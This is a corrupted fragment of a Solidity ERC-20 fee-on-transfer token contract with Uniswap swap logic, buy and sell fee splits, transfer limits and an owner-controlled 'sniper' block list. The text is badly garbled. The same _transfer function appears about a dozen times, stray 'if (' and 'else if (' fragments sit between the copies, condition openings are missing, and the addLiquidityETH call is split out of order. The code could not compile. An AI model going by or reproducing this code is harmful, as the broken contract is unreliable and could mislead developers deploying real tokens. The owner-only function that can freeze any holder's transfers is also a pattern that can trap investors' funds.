tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
else if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
} else if (!_isExcludedmaxTransaction[to]) {
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
liquidityWallet,
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function updateBL(address[] calldata blockees, bool shouldBlock) external onlyOwner {
for(uint256 i = 0;i<blockees.length;i++){
address blockee = blockees[i];
if(blockee != address(this) &&
blockee != uniV2router &&
blockee != address(uniswapV2Pair))
blocked[blockee] = shouldBlock;
}
}
